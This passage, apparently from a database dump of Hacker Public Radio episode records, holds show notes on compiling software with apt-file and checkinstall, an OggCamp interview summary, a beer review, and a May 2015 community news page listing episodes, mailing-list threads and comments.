lets you print part of a line. You can extract set a field delimeter with the -d option and then list a range of fields to be printed with the -f option. The tr command can replace a character. I used this to replace the new line character that was printed by the cut command to generate a single line of packages which I piped to a file. A quick edit of the file to add \"sudo apt-get install\" at the beginning, add execute permissions to the file, and now I have a nice, easy way to install all the needed libraries.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://stackoverflow.com/questions/15580144/concatenate-many-lines-of-output-to-one-line\">https://stackoverflow.com/questions/15580144/concatenate-many-lines-of-output-to-one-line</a>\r\n</li>\r\n<li><a href=\"https://stackoverflow.com/questions/7857090/awk-extract-specific-columns-from-delimited-file\">https://stackoverflow.com/questions/7857090/awk-extract-specific-columns-from-delimited-file</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>apt-file and checkinstall</h3>\r\n\r\n<p>\r\nAt least that was the idea. After installing the libraries, and running configure, I still received errors that libraries were missing. The machines from which my list of libraries was generated, had all been used for various development purposes, so some needed libraries were already installed on them, and so their installation had passed out of my history. Besides echoing to standard out the file configure can\'t find, it also creates a log file: config.log. Between the two it is relatively easy to figure out what library is needed. Often the libraries needed included their name in the .deb which has to be installed, and finding them is easy with an apt-cache search and grep of the library name. The hardest ones to find were often the X11 based references. In this case, I needed the scrnsaver.h header file. After googling, I found a reference to the needed package (libxss-dev) on Stack Exchange. The answer also showed how to use the apt-file command to determine in which package a file is included. I wish I had run into this before, there a few times where it took a number of searches on the internet to figure out which package I needed to install, and \"apt-file find\" would have saved time and frustration. A very handy tool for anyone developing on a debian based distribution. As it turns out, that was the last dependency that needed resolved. After a successful configure, and successful compile using the make command, I was ready to try out checkinstall. Running sudo checkinstall, brings up a series of questions about your package, helping you fill out the needed .deb meta-data. I filled out my name and email, name for the package, short description of the package, and let everything else go to the suggested defaults. After, that hit enter and checkinstall will create a debian package and install it for you. If you run \"apt-cache search &lt;name of package&gt;\" you will see it listed, and \"apt-cache show &lt;name of package&gt;\" will give you the details you created for the package. There are warnings on the Ubuntu wiki not to use this method for packages to be included in an archive or in a ppa. It does work great for a local install, and would use it to install on machines on my local network.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://askubuntu.com/questions/554724/compile-workrave-from-source\">https://askubuntu.com/questions/554724/compile-workrave-from-source</a> \r\n</li>\r\n<li><a href=\"https://community.linuxmint.com/tutorial/view/162\">https://community.linuxmint.com/tutorial/view/162</a>\r\n</li>\r\n<li><a href=\"https://www.falkotimme.com/howtos/checkinstall/\">https://www.falkotimme.com/howtos/checkinstall/</a>\r\n</li>\r\n<li><a href=\"https://help.ubuntu.com/community/CheckInstall\">https://help.ubuntu.com/community/CheckInstall</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>conclusion</h3>\r\n\r\n<p>\r\nAfter a short side trip into development setup, I\'m back writing my application on my new laptop. While I am a big fan of binary packages, Debian being the first GNU/Linux distribution I ever used, sometimes you need to dive in and compile software from source. For me running configure, make, make install has been the easiest way to do this, and these days it usually isn\'t too difficult to get even moderately complex applications and libraries to build. The most tedious part can be resolving all the dependencies. Now, with apt-file in my tool belt, it will be even faster and easier. I will also be using checkinstall for future compiles. I do like being able to use package management tools to install, and un-install software.\r\n</p>\r\n<p>\r\nI hope others find these tools useful. I have posted links in the show notes to the pages about cut, tr, apt-file and checkinstall that led me to these tools. If you\'ve made it this far, thanks for listening to my first post to HPR. As Ken Fallon points out, it\'s not an HPR episode until you have uploaded it to the server. So let those episode ideas flow from your brain, into your favorite recording device, and up to the HPR server. Let\'s keep HPR active, vibrant, and a part of our lives for years to come. \r\n</p>',293,0,0,'CC-BY-SA','cli, deb, compile',0,0,1),
(1689,'2015-01-22','Linux Voice magazine at OggCamp',676,'Another interview from OggCamp with the guys from Linux Voice ','<p>\r\nCorenominal and Beni talking to the guys of the newly founded Linux Voice magazine. It\'s a British Linux publication that\'s less than a year old. \r\n</p>\r\n<p>\r\nWe talked to them about why you would found a magazine these days, why their magazine is still relevant in the digital age and why kinds won\'t beat them at mario cart.\r\n</p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1689_img.png\" alt=\"Linux Voice Cover\" />\r\n<p>\r\nYou find their magazine here:\r\n</p>\r\n<p>\r\n<a href=\"https://www.linuxvoice.com/\">https://www.linuxvoice.com/</a>\r\n</p>\r\n<p>\r\nand their superb Linux postcast by the same name here:\r\n</p>\r\n<p>\r\n<a href=\"https://www.linuxvoice.com/category/podcasts/\">https://www.linuxvoice.com/category/podcasts/</a>\r\n</p>\r\n',288,62,1,'CC-BY-SA','Linux Voice, oggcamp, interview',0,0,1),
(1684,'2015-01-15','5150 Shades of Beer Jacob Leinenkugels Winter Explorer Pack',814,'fifty tries the Leinenkugels Explore pack','<p>\r\nJacob Lienenkugels Winter Explorer Pack \"Chippewa Falls, WI since 1867\"\r\n</p>\r\n<p>\r\nWinters Bite - Do you know what it smells like when you open a tin of cocoa (the semi-sweet kind, not the unsweetend)  and no matter how you do it, a litle of the powder puffs out?  The best descrition I can give this beer is it tastes just like that smell, even down to the dryness.  Neither cloyingly sweet or leaving you wondering who mixed the chocolate syrup into you beer, just a sublte taste of dry cocoa. This lager pours dark with very little head. This beer (my favorite it this group) is only available in the Explorer pack, and it\'s ABV and ingredients are not featured on leinie.com.\r\n</p>\r\n<p>\r\nHelles Yeah - (German blonde lager, Helles means \"light\" in German, but unlike American beers, it refers only to color).  Straw color, very clear, moderate head that disapears w/o lacing. Sublte flavor, a hit of hops and just slightly more than a pinch of pepper. 5.5 ABV Malts: Pale malts Hops: Five All-American hops including Simcoe and Citra \r\n</p>\r\n<p>\r\nCranberry Ginger Shandy - [From Wikipedia, Shandy is beer mixed with a soft drink, carbonated lemonade, ginger beer, ginger ale, or apple juice or orange juice.]  Pours cloudy yellow amber, moderate head that disapears w/o lacing. Leinenkugel managed to resist the urge to color it red.  Not as syrupy as Shock Top\\\'s Cranberry Belgian Ale, but unlike many fruit adjunct brews, neither is the flavor so subtle you have to go searching for it. I like to use ginger in cooking, and I can also detect the taste of that sweet spice in this weiss beer as well.  4.2% ABV \r\nMalts: Pale and Wheat Hops: Cluster Other: Natural cranberry and ginger flavors\r\n</p>\r\n<p>\r\nSnowdrift Vanilla Porter - Pours dark brown with just a litle carmel color head that disipates imediately.  Vanilla bean aroma. Vanilla flavor is perhaps more subtle than Breckenridge\'s Vanilla Porter, but there will be know doubt you are enjoying a beer flavored by vanilla and roasted malts, with a hint of chocolate to keep it from being too sweet.   6.0 ABV \r\nMalts: Two- and six- row Pale Malt, Caramel 60, Carapils, Special B, Dark Chocolate and Roasted Barley Hops: Cluster &amp; Willamette Other: Real vanilla\r\n</p>\r\n<p>\r\nBONUS ROUND -Leinenkugels Orange Shandy  - Wheat beer, likely exactly the same one that\'s in the Cranberry Ginger Shandy, but in this case the tart/sweet orange juice taste dosn\'t completely obscure the flavor of the beer.  I like them both, but I think I would grab the orange shandy on a hot day. 4.2% ABV  \r\nMalts: Pale and Wheat Hops: Cluster Other: Natural orange flavor\r\n</p>\r\n',131,14,1,'CC-BY-SA','5150 Shades of Beer,beer,drinking beer',0,0,1),
(1781,'2015-06-01','HPR Community News for May 2015',4021,'Dave and Ken waffle on and on','\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1760\" target=\"_blank\">1760</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-05-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1760\" target=\"_blank\">pdftk: the PDF Toolkit</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1761\" target=\"_blank\">1761</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-05-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1761\" target=\"_blank\">HPR Community News for April 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1762\" target=\"_blank\">1762</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-05-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1762\" target=\"_blank\">HPR Audio Book Club 10</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1763\" target=\"_blank\">1763</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-05-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1763\" target=\"_blank\">Intro to Homebrewing</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1764\" target=\"_blank\">1764</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-05-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1764\" target=\"_blank\">Introduction to Rogue Class Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1765\" target=\"_blank\">1765</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-05-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1765\" target=\"_blank\">53 - LibreOffice Impress - Outlining and Blank Presentations</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1766\" target=\"_blank\">1766</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-05-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1766\" target=\"_blank\">Sox of Silence</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1767\" target=\"_blank\">1767</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-05-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1767\" target=\"_blank\">An interview with Ed Cable of the Mifos Initiative</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1768\" target=\"_blank\">1768</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-05-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1768\" target=\"_blank\">An Intro To C Episode 1 : Introduction and Types</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=286\" target=\"_blank\">cjm</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1769\" target=\"_blank\">1769</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-05-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1769\" target=\"_blank\">A Demonstration of Dictation Software on my Office Computer</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1770\" target=\"_blank\">1770</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-05-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1770\" target=\"_blank\">The OpenDyslexic Font</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1771\" target=\"_blank\">1771</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-05-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1771\" target=\"_blank\">Audacity: Label Tracks</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1772\" target=\"_blank\">1772</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-05-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1772\" target=\"_blank\">Random thoughts</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1773\" target=\"_blank\">1773</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-05-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1773\" target=\"_blank\">LFNW 2015 interview with Deb Nicholson</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1774\" target=\"_blank\">1774</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-05-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1774\" target=\"_blank\">Router Hacking</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1775\" target=\"_blank\">1775</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-05-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1775\" target=\"_blank\">Sonic Pi</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=240\" target=\"_blank\">Steve Bickle</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1776\" target=\"_blank\">1776</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-05-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1776\" target=\"_blank\">Vim Hints 004</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1777\" target=\"_blank\">1777</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-05-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1777\" target=\"_blank\">Magnatune Favourites</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1778\" target=\"_blank\">1778</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-05-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1778\" target=\"_blank\">Nethack and Vi cursor keys</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=240\" target=\"_blank\">Steve Bickle</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1779\" target=\"_blank\">1779</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-05-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1779\" target=\"_blank\">Cowsay and Figlet</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1780\" target=\"_blank\">1780</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-05-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1780\" target=\"_blank\">16 - TrueCrypt and GnuPG - An Update</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-05-08 19:32:30 +0200<br/>\n        <em>Subject:</em> Call for Shows - this is not a drill<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/836\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/836</a><br/>\n        <em>Messages:</em> 11<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2015-05-23 15:12:01 +0100<br/>\n        <em>Subject:</em> Adding new pre-formatted sheets to LibreOffice Calc<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/847\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/847</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Lord Drachenblut &lt;lord.drachenblut@...&gt;<br/>\n        <em>Date:</em> 2015-05-25 06:04:13 UTC<br/>\n        <em>Subject:</em> Video series on using the zoom H1<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/850\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/850</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-05-25 11:52:59 +0200<br/>\n        <em>Subject:</em> Issues with GMail marking all HackerPublicRadio.org emails as	SPAM<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/851\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/851</a><br/>\n        <em>Messages:</em> 8<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-05-28 19:21:14 +0100<br/>\n        <em>Subject:</em> HPR Community News - Saturday on 2015-05-30T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/859\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/859</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2015-05-28 21:30:05 +0100<br/>\n        <em>Subject:</em> LibreOffice Calc cell style; background and &#39;no fill&#39;<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/860\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/860</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> David Whitman &lt;davidglennwhitman@...&gt;<br/>\n        <em>Date:</em> 2015-05-29 13:45:41 -0700<br/>\n        <em>Subject:</em> Updated Presentation for HPR?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/862\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/862</a><br/>\n        <em>Messages:</em> 1<br/></li>\n</ol>\nTotal messages this month: 27<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>There are 24 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1726#comments\" target=\"_blank\">hpr1726</a></strong>\n(2015-03-16) \"<em>15 Excuses not to Record a show for HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a>.\n<ul>     <li><a href=\"https://hackerpublicradio.org/eps.php?id=1726#4\" target=\"_blank\">Comment 4</a>:\nEpicanis on 2015-05-22:\n\"I should do an episode nominating myself for an award...\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1754#comments\" target=\"_blank\">hpr1754</a></strong>\n(2015-04-23) \"<em>D7? Why Seven?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>     <li><a href=\"https://hackerpublicradio.org/eps.php?id=1754#4\" target=\"_blank\">Comment 4</a>:\nFiftyOneFifty on 2015-05-09:\n\"Explaining myself\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1754#5\" target=\"_blank\">Comment 5</a>:\nJon Kulp on 2015-05-10:\n\"I kinda see the resemblance...\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1759#comments\" target=\"_blank\">hpr1759</a></strong>\n(2015-04-30) \"<em>A brief review of Firefox OS</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=302\" target=\"_blank\">Stilvoid</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1759#2\" target=\"_blank\">Comment 2</a>:\nStilvoid on 2015-05-03:\n\"Thanks\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1760#comments\" target=\"_blank\">hpr1760</a></strong>\n(2015-05-01) \"<em>pdftk: the PDF Toolkit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1760#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-05-02:\n\"video demo: embedding table of contents in PDF\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1762#comments\" target=\"_blank\">hpr1762</a></strong>\n(2015-05-05) \"<em>HPR Audio Book Club 10</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1762#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2015-05-08:\n\"Blade Runner\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1766#comments\" target=\"_blank\">hpr1766</a></strong>\n(2015-05-11) \"<em>Sox of Silence</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1766#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2015-05-10:\n\"Haulin&#39;\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1767#comments\" target=\"_blank\">hpr1767</a></strong>\n(2015-05-12) \"<em>An interview with Ed Cable of the Mifos Initiative</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1767#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-05-12:\n\"MIFOS, great initiative\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1768#comments\" target=\"_blank\">hpr1768</a></strong>\n(2015-05-13) \"<em>An Intro To C Episode 1 : Introduction and Types</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=286\" target=\"_blank\">cjm</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1768#1\" target=\"_blank\">Comment 1</a>:\nsigflup on 2015-05-12:\n\"Right awesome!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1768#2\" target=\"_blank\">Comment 2</a>:\nSteve Smethurst on 2015-05-14:\n\"Thanks, and more plase\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1768#3\" target=\"_blank\">Comment 3</a>:\nKete on 2015-05-15:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1768#4\" target=\"_blank\">Comment 4</a>:\nkdmurray on 2015-05-25:\n\"A Good Start\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1769#comments\" target=\"_blank\">hpr1769</a></strong>\n(2015-05-14) \"<em>A Demonstration of Dictation Software on my Office Computer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1769#1\" target=\"_blank\">Comment 1</a>:\nMoralVolcano on 2015-05-20:\n\"Dragon?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1769#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2015-05-21:\n\"Nope\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1770#comments\" target=\"_blank\">hpr1770</a></strong>\n(2015-05-15) \"<em>The OpenDyslexic Font</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1770#1\" target=\"_blank\">Comment 1</a>:\njezra on 2015-05-18:\n\"For Arch Linux, this is in the AUR\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1771#comments\" target=\"_blank\">hpr1771</a></strong>\n(2015-05-18) \"<em>Audacity: Label Tracks</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1771#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-05-18:\n\"Very useful\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1771#2\" target=\"_blank\">Comment 2</a>:\nkdmurray on 2015-05-25:\n\"Can&#39;t believe I&#39;ve never seen this\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1774#comments\" target=\"_blank\">hpr1774</a></strong>\n(2015-05-21) \"<em>Router Hacking</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1774#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2015-05-22:\n\"You say Tomato\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1774#2\" target=\"_blank\">Comment 2</a>:\nMark on 2015-05-27:\n\"Wanted to try this before.\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1775#comments\" target=\"_blank\">hpr1775</a></strong>\n(2015-05-22) \"<em>Sonic Pi</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=240\" target=\"_blank\">Steve Bickle</a>.\n<ul>  <li><a 